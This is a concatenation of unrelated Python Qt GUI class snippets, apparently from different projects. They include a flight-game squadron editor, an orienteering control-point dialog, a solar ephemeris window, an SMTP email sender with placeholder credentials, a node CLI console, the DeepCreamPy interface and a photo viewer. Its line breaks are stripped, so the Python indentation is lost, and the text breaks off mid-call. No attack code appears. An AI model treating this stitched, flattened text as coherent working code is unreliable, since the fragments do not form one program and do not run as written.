class SquadronConfigurationBox(QGroupBox): remove_squadron_signal = Signal(Squadron) def __init__(self, squadron: Squadron, theater: ConflictTheater) -> None: super().__init__() self.squadron = squadron self.reset_title() columns = QHBoxLayout() self.setLayout(columns) left_column = QVBoxLayout() columns.addLayout(left_column) left_column.addWidget(QLabel("Name:")) self.name_edit = QLineEdit(squadron.name) self.name_edit.textChanged.connect(self.on_name_changed) left_column.addWidget(self.name_edit) nickname_edit_layout = QGridLayout() left_column.addLayout(nickname_edit_layout) nickname_edit_layout.addWidget(QLabel("Nickname:"), 0, 0, 1, 2) self.nickname_edit = QLineEdit(squadron.nickname) self.nickname_edit.textChanged.connect(self.on_nickname_changed) nickname_edit_layout.addWidget(self.nickname_edit, 1, 0, Qt.AlignTop) reroll_nickname_button = QToolButton() reroll_nickname_button.setIcon(QIcon(ICONS["Reload"])) reroll_nickname_button.setToolTip("Re-roll nickname") reroll_nickname_button.clicked.connect(self.reroll_nickname) nickname_edit_layout.addWidget(reroll_nickname_button, 1, 1, Qt.AlignTop) left_column.addWidget(QLabel("Base:")) self.base_selector = SquadronBaseSelector( theater.control_points_for(squadron.player), squadron.location, squadron.aircraft, ) self.base_selector.currentIndexChanged.connect(self.on_base_changed) left_column.addWidget(self.base_selector) if squadron.player: player_label = QLabel( "Players (one per line, leave empty for an AI-only squadron):") else: player_label = QLabel("Player slots not available for opfor") left_column.addWidget(player_label) players = [p for p in squadron.pilot_pool if p.player] for player in players: squadron.pilot_pool.remove(player) if not squadron.player: players = [] self.player_list = QTextEdit("<br />".join(p.name for p in players)) self.player_list.setAcceptRichText(False) self.player_list.setEnabled(squadron.player) left_column.addWidget(self.player_list) delete_button = QPushButton("Remove Squadron") delete_button.setMaximumWidth(140) delete_button.clicked.connect(self.remove_from_squadron_config) left_column.addWidget(delete_button) left_column.addStretch() self.allowed_missions = AllowedMissionTypeControls(squadron) columns.addLayout(self.allowed_missions) def remove_from_squadron_config(self) -> None: self.remove_squadron_signal.emit(self.squadron) def on_name_changed(self, text: str) -> None: self.squadron.name = text self.reset_title() def on_nickname_changed(self, text: str) -> None: self.squadron.nickname = text def on_base_changed(self, index: int) -> None: base = self.base_selector.itemData(index) if base is None: raise RuntimeError("Base cannot be none") self.squadron.assign_to_base(base) def reset_title(self) -> None: self.setTitle(f"{self.squadron.name} - {self.squadron.aircraft}") def reroll_nickname(self) -> None: self.nickname_edit.setText(self.squadron.coalition.air_wing. squadron_def_generator.random_nickname()) def apply(self) -> Squadron: player_names = self.player_list.toPlainText().splitlines() # Prepend player pilots so they get set active first. self.squadron.pilot_pool = [ Pilot(n, player=True) for n in player_names ] + self.squadron.pilot_pool self.squadron.set_allowed_mission_types( self.allowed_missions.allowed_mission_types) return self.squadron
class CPDeleteDialog(QDialog): def __init__(self): super().__init__(GlobalAccess().get_main_window()) def exec_(self): self.init_ui() return super().exec_() def init_ui(self): self.setWindowTitle(_('Delete CP')) self.setWindowIcon(QIcon(config.ICON)) self.setSizeGripEnabled(False) self.setModal(True) self.layout = QFormLayout(self) self.item_number = QSpinBox() self.item_number.setMaximum(10000) self.item_number.valueChanged.connect(self.show_info) self.layout.addRow(QLabel(_('Number CP')), self.item_number) self.item_is_course = QCheckBox(_('Courses')) self.item_is_course.setChecked(True) self.item_is_course.stateChanged.connect(self.show_info) self.layout.addRow(self.item_is_course) self.item_is_result = QCheckBox(_('Race Results')) self.item_is_result.setChecked(True) self.item_is_result.stateChanged.connect(self.show_info) self.layout.addRow(self.item_is_result) self.item_info = QTextEdit() self.item_info.setReadOnly(True) self.layout.addRow(self.item_info) def cancel_changes(): self.close() def apply_changes(): try: self.apply_changes_impl() except Exception as e: logging.error(str(e)) self.close() button_box = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel) self.button_ok = button_box.button(QDialogButtonBox.Ok) self.button_ok.setText(_('Ok')) self.button_ok.clicked.connect(apply_changes) self.button_cancel = button_box.button(QDialogButtonBox.Cancel) self.button_cancel.setText(_('Cancel')) self.button_cancel.clicked.connect(cancel_changes) self.layout.addRow(button_box) self.show() def show_info(self): self.item_info.setText('') number = self.item_number.value() if not number: return try: text = '' is_course = self.item_is_course.isChecked() if is_course: courses = race().courses courses_has_number = [] for course in courses: for control in course.controls: if str(number) == control.code: courses_has_number.append(course) break if len(courses_has_number): text += '{}:\n{}\n'.format( _('Courses'), '\n'.join( [course.name for course in courses_has_number])) is_result = self.item_is_result.isChecked() if is_result: results = race().results results_has_number = [] for result in results: for split in result.splits: if str(number) == str(split.code): results_has_number.append(result) break if len(results_has_number): text += '{}:\n{}'.format( _('Results'), '\n'.join([ str(result.card_number) for result in results_has_number ])) self.item_info.setText(text) except Exception as e: logging.error(str(e)) self.close() def apply_changes_impl(self): number = self.item_number.value() if not number: return obj = race() is_course = self.item_is_course.isChecked() if is_course: courses = obj.courses for course in courses: controls = [] for i, control in enumerate(course.controls): if str(number) == control.code: if i < len(course.controls) - 1: course.controls[i + 1].length += control.length logging.info('Del {} from {}'.format( number, course.name)) else: controls.append(control) course.controls = controls is_result = self.item_is_result.isChecked() if is_result: results = obj.results for result in results: splits = [] for split in result.splits: if str(number) == str(split.code): logging.info('Del {} from {} {}'.format( number, result.card_number, split.time)) else: splits.append(split) result.splits = splits obj.clear_results() ResultChecker.check_all() ResultCalculation(obj).process_results() RaceSplits(obj).generate() ScoreCalculation(obj).calculate_scores()
def __init__(self): QMainWindow.__init__(self) self.tabWidget = QTabWidget(self) self.setCentralWidget(self.tabWidget) self.editBox = QTextEdit(self) self.tabWidget.addTab(self.getSplitter(), 'Test')
class MainWindow(QMainWindow): def __init__(self): super(MainWindow, self).__init__() self.latlong = "0" self.textEdit = QTextEdit() self.setCentralWidget(self.textEdit) self.createActions() self.createMenus() self.createToolBars() self.createStatusBar() self.createDockWindows() self.setWindowTitle("Panel Słoneczny") self.newLetter() self.dLocation() self.s = ephem.Sun() self.s.compute(epoch=ephem.now()) # self.setTime() # def setTime(self): # self.label['text'] = str(datetime.datetime.now().strftime("Today is %d-%m-%Y %H:%M:%S")) # root.after(1000, self.setTime) # def showTime(self): # time = QTime.currentTime() # text = time.toString('hh:mm:ss') # if(time.second() % 2) == 0: # text = text[:2] + ' ' + text[:3] # self.display(text) # timer = QTimer(self) # timer.timeout.connect(self.showTime) # timer.start(1000) # def dLocation(self): # s = ephem.Sun() # s.compute(epoch=ephem.now()) # print("R.A.: %s DEC.: %s" % (s.a_ra, s.a_dec)) # o = ephem.Observer() # o.lon, o.lat = '17.03333', '51.100000' # Współrzędne Wrocławia # o.date = ephem.now() # 00:22:07 EDT 06:22:07 UT+1 # s.compute(o) # hour_angle = o.sidereal_time() - sun.ra # t = ephem.hours(hour_angle + ephem.hours('12:00')).norm # .norm for 0..24 # rad = str(ephem.hours(hour_angle + ephem.hours('12:00')).norm) # print("HOUR ANGLE: %s SIDERAL TIME: %s" % (rad, o.sidereal_time())) # # print("HOUR ANGLE2: %s SIDERAL TIME: %s" % (t, o.sidereal_time())) # # print("HOUR ANGLE3: %s SIDERAL TIME: %s" % (hour_angle, o.sidereal_time())) # print("SUN Altitude: %s SUN Azimuth: %s" % (sun.alt, sun.az)) # root.after(1000, dLocation) def newLetter(self): self.textEdit.clear() cursor = self.textEdit.textCursor() cursor.movePosition(QTextCursor.Start) topFrame = cursor.currentFrame() topFrameFormat = topFrame.frameFormat() topFrameFormat.setPadding(16) topFrame.setFrameFormat(topFrameFormat) # timer = QTimer(self) # timer.timeout.connect(self.showTime) # timer.start(1000) textFormat = QTextCharFormat() boldFormat = QTextCharFormat() boldFormat.setFontWeight(QFont.Bold) italicFormat = QTextCharFormat() italicFormat.setFontItalic(True) tableFormat = QTextTableFormat() tableFormat.setBorder(1) tableFormat.setCellPadding(16) tableFormat.setAlignment(Qt.AlignRight) cursor.insertTable(1, 1, tableFormat) cursor.insertText("Tomasz Dróżdż", boldFormat) cursor.insertBlock() cursor.insertText("Politechnika Wrocławska", textFormat) cursor.insertBlock() cursor.insertText("Automatyka i Robotyka") cursor.insertBlock() cursor.insertText("SOLAR PANEL Program") cursor.setPosition(topFrame.lastPosition()) cursor.insertText( QDate.currentDate().toString("Dziś jest: d MMMM yyyy:"), textFormat) cursor.insertText(QTime.currentTime().toString(" hh:mm:ss"), textFormat) # cursor.insertText(QTimer.timer(" hh:mm:ss", 1000), textFormat) cursor.insertBlock() cursor.insertBlock() cursor.insertText("Wrocław: ", textFormat) cursor.insertText("17.03 deg; 51.10 deg", textFormat) cursor.insertText(",", textFormat) for i in range(3): cursor.insertBlock() cursor.insertText("Text", textFormat) def dLocation(self): s = ephem.Sun() s.compute(epoch=ephem.now()) print("R.A.: %s DEC.: %s" % (s.a_ra, s.a_dec)) o = ephem.Observer() o.lon, o.lat = '17.03333', '51.100000' # Współrzędne Wrocławia o.date = ephem.now() # 00:22:07 EDT 06:22:07 UT+1 s.compute(o) hour_angle = o.sidereal_time() - s.ra t = ephem.hours(hour_angle + ephem.hours('12:00')).norm # .norm for 0..24 rad = str(ephem.hours(hour_angle + ephem.hours('12:00')).norm) print("HOUR ANGLE: %s SIDERAL TIME: %s" % (rad, o.sidereal_time())) def createActions(self): self.newLetterAct = QAction(QIcon.fromTheme('document-new', QIcon(':/images/new.png')), "&New Letter", self, shortcut=QKeySequence.New, statusTip="Create a new form letter", triggered=self.newLetter) # self.DefaultAct = QAction(QIcon.fromTheme('document-default', QIcon(':/images/def.png')), "&Start for Default", # self, shortcut=QKeySequence.New, # statusTip="Starts program for default location (Wrocław)", # triggered=self.dlocation) def createToolBars(self): self.fileToolBar = self.addToolBar("File") self.fileToolBar.addAction(self.newLetterAct) def createMenus(self): self.fileMenu = self.menuBar().addMenu("&File") self.fileMenu.addAction(self.newLetterAct) # self.fileMenu.addAction(self.DefaultAct) self.fileMenu.addSeparator() self.editMenu = self.menuBar().addMenu("&Edit") self.viewMenu = self.menuBar().addMenu("&View") self.menuBar().addSeparator() self.helpMenu = self.menuBar().addMenu("&Help") def createStatusBar(self): self.statusBar().showMessage("Ready") def createDockWindows(self): dock = QDockWidget("Program", self) dock.setFeatures(dock.NoDockWidgetFeatures) dock.DockWidgetMovable = False dock.setAllowedAreas(Qt.LeftDockWidgetArea) self.multiWidget = QWidget() font1 = QFont("Courier New", 10) self.title = QLabel("SOLAR PANEL Program") font2 = QFont("Courier New", 10) font2.setBold(True) self.author = QLabel("Tomasz Dróżdż") self.author.setFont(font2) self.other = QLabel("Politechnika Wrocławska") self.other2 = QLabel("Automatyka i Robotyka") self.vLayout = QVBoxLayout() self.vLayout.addWidget(self.title) self.vLayout.addWidget(self.author) self.vLayout.addWidget(self.other) self.vLayout.addWidget(self.other2) self.multiWidget.setLayout(self.vLayout) dock.setWidget(self.multiWidget) self.addDockWidget(Qt.LeftDockWidgetArea, dock) dock = QDockWidget("Zegar", self) dock.setAllowedAreas(Qt.LeftDockWidgetArea | Qt.RightDockWidgetArea) self.customerList = QLabel(dock) self.customerList.setText( ("John Doe, Harmony Enterprises, 12 Lakeside, Ambleton")) dock.setWidget(self.customerList) self.addDockWidget(Qt.LeftDockWidgetArea, dock) # dock = QDockWidget("Współrzędne dla domyślnej lokacji", self) # dock.setAllowedAreas(Qt.LeftDockWidgetArea | Qt.RightDockWidgetArea) # self.multiWidget2 = QWidget() # self.vLayout2 = QVBoxLayout() # self.result = QLabel(self.latlong) # self.latitude = QTextEdit() # self.latitude.setFixedHeight(24) # self.longitude = QTextEdit() # self.longitude.setFixedHeight(24) # self.button = QPushButton('Test', self) # self.button.clicked.connect(self.handleButton) # self.vLayout2.addWidget(self.latitude) # self.vLayout2.addWidget(self.longitude) # self.vLayout2.addWidget(self.button) # self.vLayout2.addWidget(self.result) # self.multiWidget2.setLayout(self.vLayout2); # dock.setWidget(self.multiWidget2); # self.addDockWidget(Qt.RightDockWidgetArea, dock) # def handleButton(self): # self.result.setText(self.latitude.toPlainText()+self.longitude.toPlainText()) dock = QDockWidget("Współrzędne", self) s = ephem.Sun() s.compute(epoch=ephem.now()) dock.setAllowedAreas(Qt.LeftDockWidgetArea | Qt.RightDockWidgetArea) self.multiWidget3 = QWidget() self.vLayout3 = QGridLayout() self.result = QLabel(self.latlong) self.latitude = QLabel('Latitude') self.longitude = QLabel('longitude') self.result = QLabel('Result') self.rightascension = QLabel('R.A.') self.latitudeEdit = QTextEdit() self.longitudeEdit = QTextEdit() self.resultEdit = QTextEdit() # self.latitude = QTextEdit() # self.latitude.setFixedHeight(24) # self.longitude = QTextEdit() # self.longitude.setFixedHeight(24) self.button = QPushButton('Test', self) self.button.clicked.connect(self.handleButton3) self.vLayout3.addWidget(self.latitude) self.vLayout3.addWidget(self.latitudeEdit) self.vLayout3.addWidget(self.longitude) self.vLayout3.addWidget(self.longitudeEdit) self.vLayout3.addWidget(self.rightascension) self.vLayout3.addWidget(self.button) self.vLayout3.addWidget(self.result) # self.vLayout3.addWidget(self.resultEdit) self.multiWidget3.setLayout(self.vLayout3) dock.setWidget(self.multiWidget3) self.addDockWidget(Qt.RightDockWidgetArea, dock) def handleButton2(self): self.result.setText(self.latitudeEdit.toPlainText() + self.longitudeEdit.toPlainText()) def handleButton3(self): # s = ephem.Sun() # s.compute(epoch=ephem.now()) # print("R.A.: %s DEC.: %s" % (s.a_ra, s.a_dec)) self.result.setText(s.ra)
class Email(QMainWindow): def __init__(self): super(Email, self).__init__() self.setWindowTitle("Email Sender") self.main_ui() def main_ui(self): self.setGeometry(QRect(40, 100, 714, 537)) self.setFixedSize(714, 537) self.setStyleSheet("background-color: rgb(50, 50, 55);\n" "font: 12pt \"Roboto\";\n" "color: rgb(255, 255, 255);") self.centralwidget = QWidget(self) self.horizontalLayoutWidget = QWidget(self.centralwidget) self.horizontalLayoutWidget.setGeometry(QRect(10, 0, 641, 71)) self.sender_email = QHBoxLayout(self.horizontalLayoutWidget) self.sender_email.setSpacing(10) self.sender_email.setContentsMargins(0, 10, 10, 10) self.label = QLabel(self.horizontalLayoutWidget) self.label_2 = QLabel(self.horizontalLayoutWidget) self.label_2.setText("Sender's Email Account ") self.sender_email_edit = QLineEdit(self.horizontalLayoutWidget) self.sender_email_edit.setMinimumSize(QSize(0, 40)) self.sender_email.addWidget(self.label) self.sender_email.addWidget(self.label_2) self.sender_email.addWidget(self.sender_email_edit) self.horizontalLayoutWidget_2 = QWidget(self.centralwidget) self.horizontalLayoutWidget_2.setGeometry(QRect(10, 90, 641, 61)) self.reciever_email = QHBoxLayout(self.horizontalLayoutWidget_2) self.reciever_email.setContentsMargins(10, 10, 10, 10) self.label_3 = QLabel(self.horizontalLayoutWidget_2) self.label_3.setText("Receiver's Email Account ") self.receiver = QLineEdit(self.horizontalLayoutWidget_2) self.receiver.setMinimumSize(QSize(0, 40)) self.reciever_email.addWidget(self.label_3) self.reciever_email.addWidget(self.receiver) self.horizontalLayoutWidget_3 = QWidget(self.centralwidget) self.horizontalLayoutWidget_3.setGeometry(QRect(10, 170, 641, 221)) self.message_layout = QHBoxLayout(self.horizontalLayoutWidget_3) self.message_layout.setContentsMargins(10, 10, 10, 10) self.label_5 = QLabel(self.horizontalLayoutWidget_3) self.label_5.setText("Your message: ") self.message = QTextEdit(self.horizontalLayoutWidget_3) self.message_layout.addWidget(self.label_5) self.message_layout.addWidget(self.message) self.label_4 = QLabel(self.centralwidget) self.label_4.setObjectName(u"label_4") self.label_4.setGeometry(QRect(10, 460, 641, 41)) self.label_4.setText( "A tip: Just type \"default\" as Sender's email account") self.go_button = QPushButton(self.centralwidget) self.go_button.setGeometry(QRect(430, 400, 211, 31)) self.go_button.setText("Let\'s Go") self.go_button.clicked.connect(lambda: self.send_email()) self.setCentralWidget(self.centralwidget) self.menubar = QMenuBar(self) self.menubar.setGeometry(QRect(0, 0, 667, 26)) self.setMenuBar(self.menubar) self.statusbar = QStatusBar(self) self.setStatusBar(self.statusbar) QMetaObject.connectSlotsByName(self) def send_email(self): sender = self.sender_email_edit.text().lower() receiver = self.receiver.text().lower() sender_message = self.message.toPlainText() try: if sender == "default": self.email_sender_account = "YOUR_EMAIL_ADDRESS" #Enter your email address self.email_sender_username = "******" self.email_sender_password = "******" #Enter the password of your email account # Constants self.email_smtp_server = "smtp.gmail.com" self.email_smtp_port = 587 # Email Content email_receivers = receiver email_subject = "Message from an anonymous user." email_body = sender_message # login to email server self.server = smtplib.SMTP(self.email_smtp_server, self.email_smtp_port) self.server.starttls() self.server.login(self.email_sender_account, self.email_sender_password) print(f"Sending email to {email_receivers}") message = MIMEMultipart('alternative') message['From'] = self.email_sender_account message['To'] = email_receivers message['Subject'] = email_subject message.attach(MIMEText(email_body, 'html')) text = message.as_string() self.server.sendmail(self.email_sender_account, email_receivers, text) # All emails sent, log out. self.server.quit() except smtplib.SMTPException: self.label_4.setText("Error: unable to send email") print("Email not sent") time.sleep(5) self.server.quit() sys.exit(0) else: self.label_4.setText( "Please type default as the sender's email address") sys.exit(0)
class ConsoleDialog(QDialog): def __init__(self, node): super().__init__() self.node = node self.show_help = True self.layout = QGridLayout() self.setLayout(self.layout) self.output_area = QTextEdit() self.output_area.setReadOnly(True) self.output_area.acceptRichText = True self.output_area.document().setMaximumBlockCount(5000) self.layout.addWidget(self.output_area) self.input_area = QLineEdit() self.completer = QCompleter() # noinspection PyUnresolvedReferences self.completer.setCaseSensitivity(Qt.CaseInsensitive) self.input_area.setCompleter(self.completer) self.input_area.setFocus() self.layout.addWidget(self.input_area) self.connect(self.input_area, SIGNAL("returnPressed(void)"), self.execute_user_command) @property def cli(self): try: return self.node.software.cli except AttributeError: return None @property def cli_args(self): try: return self.node.configuration.cli_args except AttributeError: return None def showEvent(self, event): super().showEvent(event) if self.show_help: success = self.run_command('help') if success: self.show_help = False def execute_user_command(self): cmd = str(self.input_area.text()) self.input_area.clear() self.run_command(cmd) def run_command(self, command): try: if self.cli is None or self.cli_args is None: self.output_area.append( 'Node starting up, please try again later...') return False self.output_area.append(f'> {command}\n') process = QProcess() process.setProgram(self.cli) process.setCurrentReadChannel(0) # noinspection PyUnresolvedReferences process.readyReadStandardError.connect( lambda: self.handle_cli_error_output(process)) # noinspection PyUnresolvedReferences process.readyReadStandardOutput.connect( lambda: self.handle_cli_output(process)) args = command.split(' ') if args[0] == self.cli.split('/')[-1]: args.pop(0) process.setArguments(self.cli_args + args) process.start() log.info('run_command', program=self.cli, args=self.cli_args, cmd=command) return True except Exception: self.output_area.append( 'Node starting up, please try again later...') return False def handle_cli_error_output(self, cli_process: QProcess): output: QByteArray = cli_process.readAllStandardError() message = output.data().decode('utf-8').strip() self.output_area.append(message) def handle_cli_output(self, cli_process: QProcess): output: QByteArray = cli_process.readAllStandardOutput() message = output.data().decode('utf-8').strip() if message.startswith('{') or message.startswith('['): formatter = HtmlFormatter() formatter.noclasses = True formatter.linenos = False formatter.nobackground = True message = highlight(message, JsonLexer(), formatter) self.output_area.insertHtml(message) else: self.output_area.append(message)
class MainWindow(QWidget): def __init__(self): super().__init__() self.signals = Signals() self.initUI() self.setSignals() self.decensor = Decensor(self) self.current_is_mosaic = None #self.load_model() def initUI(self): grid_layout = QGridLayout() grid_layout.setSpacing(10) self.setLayout(grid_layout) #Tutorial self.tutorialLabel = QLabel() self.tutorialLabel.setText( "Welcome to DeepCreamPy!\n\nIf you're new to DCP, please read the README.\nThis program does nothing without the proper setup of your images.\n\nReport any bugs you encounter to me on Github or Twitter @deeppomf." ) self.tutorialLabel.setAlignment(Qt.AlignCenter) self.tutorialLabel.setFont(QFont('Sans Serif', 13)) #Censor type group self.censorTypeGroupBox = QGroupBox('Censor Type') barButton = QRadioButton('Bar censor') mosaicButton = QRadioButton('Mosaic censor') barButton.setChecked(True) censorLayout = QVBoxLayout() censorLayout.addWidget(barButton) censorLayout.addWidget(mosaicButton) # censorLayout.addStretch(1) self.censorTypeGroupBox.setLayout(censorLayout) #Variation count group self.variationsGroupBox = QGroupBox('Number of Decensor Variations') var1Button = QRadioButton('1') var2Button = QRadioButton('2') var3Button = QRadioButton('4') var1Button.setChecked(True) varLayout = QVBoxLayout() varLayout.addWidget(var1Button) varLayout.addWidget(var2Button) varLayout.addWidget(var3Button) # varLayout.addStretch(1) self.variationsGroupBox.setLayout(varLayout) #Decensor button self.decensorButton = QPushButton('Decensor Your Images') self.decensorButton.clicked.connect(self.decensorClicked) self.decensorButton.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) #Progress message # self.progressGroupBox = QGroupBox('Progress') self.progressMessage = QTextEdit() self.progressCursor = QTextCursor(self.progressMessage.document()) self.progressMessage.setTextCursor(self.progressCursor) self.progressMessage.setReadOnly(True) self.progressCursor.insertText( "After you prepared your images, click on the decensor button once to begin decensoring.\nPlease be patient.\nDecensoring will take time.\n" ) # Progress Bar self.statusBar = QStatusBar(self) self.progressBar = QProgressBar() self.progressBar.setMinimum(0) self.progressBar.setMaximum(100) self.progressBar.setValue(0) self.statusLabel = QLabel("Showing Progress") self.statusBar.addWidget(self.statusLabel, 1) self.statusBar.addWidget(self.progressBar, 2) #put all groups into grid # addWidget(row, column, rowSpan, columnSpan) grid_layout.addWidget(self.tutorialLabel, 0, 0, 1, 2) grid_layout.addWidget(self.censorTypeGroupBox, 1, 0, 1, 1) grid_layout.addWidget(self.variationsGroupBox, 1, 1, 1, 1) grid_layout.addWidget(self.decensorButton, 2, 0, 1, 2) grid_layout.addWidget(self.progressMessage, 3, 0, 1, 2) grid_layout.addWidget(self.statusBar, 4, 0, 1, 2) #window size settings self.resize(900, 600) self.center() self.setWindowTitle('DeepCreamPy v2.2.0-beta') self.show() def load_model(self): # load model to make able to decensor several times self.decensorButton.setEnabled(False) self.decensorButton.setText( "Loading Machine Learning Model (Please Wait...)") self.decensor.start() self.decensor.signals = self.signals self.progressCursor.insertText( "Loading Decensor app consumes 6 GB memory at maximum") def setSignals(self): self.signals.update_decensorButton_Text.connect( self.decensorButton.setText) self.signals.update_decensorButton_Enabled.connect( self.decensorButton.setEnabled) self.signals.update_statusLabel_Text.connect(self.statusLabel.setText) self.signals.update_ProgressBar_SET_VALUE.connect( self.progressBar.setValue) self.signals.update_ProgressBar_MAX_VALUE.connect( self.progressBar.setMaximum) self.signals.update_ProgressBar_MIN_VALUE.connect( self.progressBar.setMinimum) # self.signals.insertText_progressCursor.connect(self.progressCursor.insertText) self.signals.insertText_progressCursor.connect( self.progressMessage.append) self.signals.clear_progressMessage.connect(self.progressMessage.clear) self.signals.appendText_progressMessage.connect( self.progressMessage.append) def decensorClicked(self): self.decensorButton.setEnabled(False) self.progressMessage.clear() self.progressCursor.insertText("Decensoring has begun!\n") # for now, decensor is initiated when this app is started # self.decensor = Decensor(text_edit = self.progressMessage, text_cursor = self.progressCursor, ui_mode = True) #https://stackoverflow.com/questions/42349470/pyqt-find-checked-radiobutton-in-a-group #set decensor to right settings #censor type censorTypeElements = self.censorTypeGroupBox.children() censorButtons = [ elem for elem in censorTypeElements if isinstance(elem, QRadioButton) ] for cb in censorButtons: if cb.isChecked(): censorType = cb.text() is_mosaic = censorType == 'Bar censor' if self.current_is_mosaic != is_mosaic: self.decensor = Decensor(self) self.current_is_mosaic = is_mosaic self.load_model() if is_mosaic: self.decensor.is_mosaic = False else: self.decensor.is_mosaic = True #variations count variationsElements = self.variationsGroupBox.children() variationsButtons = [ elem for elem in variationsElements if isinstance(elem, QRadioButton) ] for vb in variationsButtons: if vb.isChecked(): variations = int(vb.text()) self.decensor.variations = variations self.decensorButton.setEnabled(False) self.decensor.start() # decensor.decensor_all_images_in_folder() # #centers the main window def center(self): qr = self.frameGeometry() cp = QDesktopWidget().availableGeometry().center() qr.moveCenter(cp) self.move(qr.topLeft())
class Dialog(QDialog): NumGridRows = 3 NumButtons = 4 def __init__(self): super(Dialog, self).__init__() self.createMenu() self.createHorizontalGroupBox() self.createGridGroupBox() self.createFormGroupBox() bigEditor = QTextEdit() bigEditor.setPlainText( "This widget takes up all the remaining space in the top-level layout.") buttonBox = QDialogButtonBox( QDialogButtonBox.Ok | QDialogButtonBox.Cancel) buttonBox.accepted.connect(self.accept) buttonBox.rejected.connect(self.reject) mainLayout = QVBoxLayout() mainLayout.setMenuBar(self.menuBar) mainLayout.addWidget(self.horizontalGroupBox) mainLayout.addWidget(self.gridGroupBox) mainLayout.addWidget(self.formGroupBox) mainLayout.addWidget(bigEditor) mainLayout.addWidget(buttonBox) self.setLayout(mainLayout) self.setWindowTitle("Basic Layouts") def createMenu(self): self.menuBar = QMenuBar() self.fileMenu = QMenu("&File", self) self.exitAction = self.fileMenu.addAction("E&xit") self.menuBar.addMenu(self.fileMenu) self.exitAction.triggered.connect(self.accept) def createHorizontalGroupBox(self): self.horizontalGroupBox = QGroupBox("Horizontal layout") layout = QHBoxLayout() for i in range(Dialog.NumButtons): button = QPushButton("Button %d" % (i + 1)) layout.addWidget(button) self.horizontalGroupBox.setLayout(layout) def createGridGroupBox(self): self.gridGroupBox = QGroupBox("Grid layout") layout = QGridLayout() for i in range(Dialog.NumGridRows): label = QLabel("Line %d:" % (i + 1)) lineEdit = QLineEdit() layout.addWidget(label, i + 1, 0) layout.addWidget(lineEdit, i + 1, 1) self.smallEditor = QTextEdit() self.smallEditor.setPlainText( "This widget takes up about two thirds of the grid layout.") layout.addWidget(self.smallEditor, 0, 2, 4, 1) layout.setColumnStretch(1, 10) layout.setColumnStretch(2, 20) self.gridGroupBox.setLayout(layout) def createFormGroupBox(self): self.formGroupBox = QGroupBox("Form layout") layout = QFormLayout() layout.addRow(QLabel("Line 1:"), QLineEdit()) layout.addRow(QLabel("Line 2, long text:"), QComboBox()) layout.addRow(QLabel("Line 3:"), QSpinBox()) self.formGroupBox.setLayout(layout)
class AppDialog(QDialog): """GUI Application using PySide2 widgets""" def __init__(self, parent=None): super(AppDialog, self).__init__(parent=parent) self.setWindowTitle('UiWorkLoadManager Usage Example') self.setAttribute(Qt.WA_DeleteOnClose) self.setGeometry(QRect(200, 200, 500, 500)) self.ui_workload_manager = UiWorkLoadManager() self.ui_workload_manager.add_workload('My Work', self.workload_test, self.finished_callback, self.error_callback, self.result_callback, self.progress_callback) layout = QVBoxLayout(self) self.setLayout(layout) self.startbutton = QPushButton('START') self.startbutton.clicked.connect(self.run) layout.addWidget(self.startbutton) self.stopbutton = QPushButton('STOP') self.stopbutton.clicked.connect(self.stop) layout.addWidget(self.stopbutton) self.progressbar = QProgressBar(self) self.progressbar.setRange(0, 100) layout.addWidget(self.progressbar) self.info = QTextEdit(self) self.info.append('Hello') layout.addWidget(self.info) self.current_progress = 0 return def run(self): """call process""" self.stopped = False self.workload_data = {} self.ui_workload_manager.run_workload('My Work', self.workload_data) def stop(self): self.stopped = True def finished_callback(self): if self.current_progress < 100: self.info.append('Task not fully completed, reaching {}%'.format( self.current_progress)) else: self.info.append('Task completed fully, to 100%') def error_callback(self, status_d: dict): self.info.append('ERROR!') self.info.append(status_d.get('traceback_str')) def result_callback(self, status_d: dict): self.info.append(status_d.get('status')) self.info.append(f' ... RESULT is: {status_d.get("result")}') def progress_callback(self, update_data: dict, progress_percent: float, progress_message: str): """Update progress""" percent_as_int = int(progress_percent + 0.5) random_int_value = update_data.get('random_int_value', -1) self.current_progress = percent_as_int self.progressbar.setValue(percent_as_int) self.info.append('random value: %s' % random_int_value) def workload_test(self, workdata: dict, update_progress_fn: Callable): """Do some process here""" total = 500 for i in range(0, total): time.sleep(0.05) x = random.randint(1, 1e4) progress_percent = (float(i + 1) / float(total)) * 100.0 if progress_percent > 100.0: progress_percent = 100.0 update_progress_fn({'random_int_value': x}, progress_percent=progress_percent, progress_message='') if self.stopped == True: return 'User Stopped Processing!' return 'Entire workload completed!'
class PhotoViewer(QWidget): def __init__(self): super(PhotoViewer, self).__init__() self.setWindowTitle("Képnézegető") self.resize(1000, 600) self.apply_style() # objektum változók self.current_dir = "" self.file_list = [] # Main layout with "Open folder" button main_layout = QVBoxLayout(self) self.open_button = QPushButton("Open foler...") main_layout.addWidget(self.open_button) # hLayout for file list / details / image h_layout = QHBoxLayout() main_layout.addLayout(h_layout) # vLayout for file list / details file_list_layout = QVBoxLayout() h_layout.addLayout(file_list_layout) # File list view self.file_list_view = QListWidget() self.file_list_view.setMaximumWidth(200) file_list_layout.addWidget(self.file_list_view) # image details view self.photo_details = QTextEdit() self.photo_details.setReadOnly(True) self.photo_details.setMaximumWidth(200) self.photo_details.setMaximumHeight(80) file_list_layout.addWidget(self.photo_details) # image view self.image_viewer = ImageViewer() h_layout.addWidget(self.image_viewer) # Connect signals self.open_button.clicked.connect(self.open_folder_action) self.file_list_view.currentItemChanged.connect( self.photo_changed_action) self.file_list_view.itemDoubleClicked.connect(self.open_file_action) def apply_style(self): with open("style.css") as f: style = f.read() self.setStyleSheet(style) def getExif(self, filePath): exif_string = "" exif_string += f"File: {filePath}\n" img = Image.open(filePath) exif = img._getexif() if exif: for k, v in exif.items(): if k in ExifTags.TAGS: exifLabel = ExifTags.TAGS[k] if exifLabel == "DateTimeOriginal": exif_string += f"Date: {v}\n" if exifLabel == "Model": exif_string += f"Camera: {v}\n" if exifLabel == "ISOSpeedRatings": exif_string += f"ISO: {v}\n" return exif_string def open_file_action(self, item): os.startfile(os.path.join(self.current_dir, item.text())) def photo_changed_action(self, item): # print(item.text()) current_photo = os.path.join(self.current_dir, item.text()) exif_data = self.getExif(current_photo) self.photo_details.setText(exif_data) # self.image_viewer.set_pixmap(current_photo) self.image_viewer.set_pixmap(current_photo) def refresh_file_list_view(self): self.file_list_view.clear() for f in self.file_list: self.file_list_view.addItem(f) def collect_files(self): self.file_list = [ i for i in os.listdir(self.current_dir) if i.lower().endswith(".jpg") ] def open_folder_action(self): directory = QFileDialog.getExistingDirectory( self, "Könyvtár választás", 